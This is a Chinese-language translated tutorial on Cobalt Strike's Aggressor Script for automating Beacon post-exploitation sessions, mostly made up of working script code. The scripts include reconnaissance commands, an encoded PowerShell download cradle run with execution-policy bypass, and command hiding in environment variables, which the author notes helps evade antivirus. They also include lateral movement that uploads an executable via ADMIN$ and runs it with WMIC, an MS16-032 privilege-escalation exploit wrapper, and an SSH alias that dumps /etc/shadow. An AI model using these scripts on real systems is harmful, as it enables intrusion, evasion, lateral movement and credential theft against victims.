翻译+实践
原文地址:
https://www.cobaltstrike.com/agscript-script/index.html
Beacon
是Cobalt Strike
后渗透的重要功能。 本章中将探讨如何使用agscript
自动执行Beacon
的一些功能。
Cobalt Strike
给每个Beacon
会话都分配了一个随机ID,执行任务时任务的元数据与每个Beacon的ID相关联,使用beacons
函数可查询到查询所有当前Beacon会话的元数据,beacon_info
函数则是用于查询制定Beacon
会话的元数据。 Demo:
command beacons {
local('$entry $key $value');
foreach $entry (beacons()) {
println("== " . $entry['id'] . " ==");
foreach $key => $value ($entry) {
println("$[20]key : $value");
}
println();
}
}
处理方式和数组一致。
快捷命令,和macOS等系统上的使用道理是一样的,使用alias函数直接注册,看demo:
alias hello {
blog($1, "Hello World!");
}
(和command函数感觉没啥差异。)
快捷命令参数的用法和其他语言一样,$0是脚本本身,$1是第一个参数,以此类推,不再做赘述。
官方在此处提了下注册beacon别名的函数beacon_command_register,主要作用就是方便把beacon命令写成接口吧,但是没有具体的说明,官方函数库里面代码还写错了。【难过.png】
alias echo {
blog($1, "You typed: " . substr($1, 5));
}
beacon_command_register(
"echo",
"echo text to beacon log",
"Synopsis: echo [arguments]\n\nLog arguments to the beacon console");
使用上述代码注册后即可在beacon里面使用快捷命令。
此处可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。
涉及到的函数是beacon_initial)
官方说明:
on beacon_initial {
# do some stuff
}
这其实是个很好用的函数,写个设置自启代码,有新会话进来就自动加载,以后就不用担心重启会话掉了。
这里有个缺陷,当Beacon第一次收到元数据时会触发beacon_initial
事件。 这意味着DNS Beacon在被要求运行命令之前不会触发beacon_initial
。 所以如果需要与首次连接C2的DNS Beacon进行交互的话,请使用beacon_initial_empty
事件。
直接看官方示例:
popup beacon_bottom {
item "Run All..." {
prompt_text("Which command to run?", "whoami /groups", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
这里有两个函数可以在右键菜单中添加功能项,分别是beacon_top
和beacon_bottom
。
原文标题为Acknowledging Tasks,字面意思确认任务???
官方demo:
alias survey {
btask($1, "Surveying the target!", "T1082");
bshell!($1, "echo Groups && whoami /groups");
bshell!($1, "echo Processes && tasklist /v");
bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
bshell!($1, "echo System Info && systeminfo");
}
添加一个btask函数来描述一下任务,第二个参数用用了ATT&CK矩阵中的信息分类,比如demo参数中的T1082是系统信息挖掘,方便对攻击信息进行筛选整理。相比println,也就是多了这个描述。
分类详情:
https://attack.mitre.org/
Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令的demo:
alias powershell {
local('$args $cradle $runme $cmd');
# $0 is the entire command with no parsing.
$args = substr($0, 11);
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);
# encode our download cradle AND cmdlet+args we want to run
$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
# Build up our entire command line.
$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086");
beacon_execute_job($1, "powershell", $cmd, 1);
}
从上到下面逐行理解:
line1 定义本地变量。
line2 $0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本,这里的host只是程序自动运行的临时web服务,并非远程主机的,所以$1写脚本的位置即可。
line4 编码字符串,之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon
同理,可覆盖原有shell指令,用于在环境变量中隐藏Windows命令:
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
bsetenv!($1, "_", $args);
beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
可以利用环境变量来做一些免杀吧。
看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-alt。 并在参数中获取目标地址和监听器。 然后生成一个绑定到监听器的可执行文件,并将其复制到目标,最终使用wmic命令来运行它。
首先,让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名:
# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
"Synopsis: wmi-alt [target] [listener]\n\n" .
"Generates an executable and uses wmic to run it on a target");
完整的实现代码:
alias wmi-alt {
local('$mydata $myexe');
# check if our listener exists
if (listener_info($3) is $null) {
berror($1, "Listener $3 does not exist");
return;
}
# generate our executable artifact
$mydata = artifact($3, "exe", true);
# generate a random executable name
$myexe = int(rand() * 10000) . ".exe";
# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");
# upload our executable to the target
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
# use wmic to run myexe on the target
bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);
}
bupload_raw函数的第二个参数是上床到的目标地址,第三个参数是生成的数据。详情可查看bupload_raw函数的详细说明。
和案例2类似,这里先使用beacon_exploit_register函数注册一个exp名,方便后面调用。
beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);
完整demo:
sub ms16_032_exploit {
local('$script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");
# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell");
# host this script within this Beacon
$oneliner = beacon_host_script($1, $script);
# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");
# handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
bstage($1, $null, $2);
}
这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的,为了解决生成的脚本体积过大而导致的一些错误而生。
Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。 从AgScript的角度来看,SSH会话是一个包含较少命令的Beacon会话。
与Beacon会话非常相似,SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。 beacons功能还将返回有关所有Cobalt Strike会话(SSH会话和Beacon会话)的信息。 使用-isssh可检测当前会话是否是SSH会话。 同理-isbeacon用于检测当前会话是否是Beacon会话。
一个用于过滤Beacon中ssh会话的demo函数
sub ssh_sessions {
return map({
if (-isssh $1['id']) {
return $1;
}
else {
return $null;
}
}, beacons());
}
直接看demo:
ssh_alias hashdump {
if (-isadmin $1) {
bshell($1, "cat /etc/shadow");
}
else {
berror($1, "You're (probably) not an admin");
}
}
除此之外之外还可以使用ssh_command_register注册ssh命令。用法和beacon一致。
ssh_alis echo {
blog($1, "You typed: " . substr($1, 5));
}
ssh_command_register(
"echo",
"echo posts to the current session's log",
"Synopsis: echo [arguments]\n\nLog arguments to the SSH console");
和beacon相似度极高,几乎就是把beacon这个关键字关城ssh即可。比如下属dome:
on ssh_initial {
# do some stuff
}
beacon使用到的是beacon_initial。传输的唯一参数$1为ssh会话的ID。
和beacon右键菜单的写法除了名称不同,其他无异。
demo
popup ssh {
item "testPopup" {
prompt_text("Which command to run?", "w", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
官方写明确写了ssh会话只是beacon会话的一个子集而已。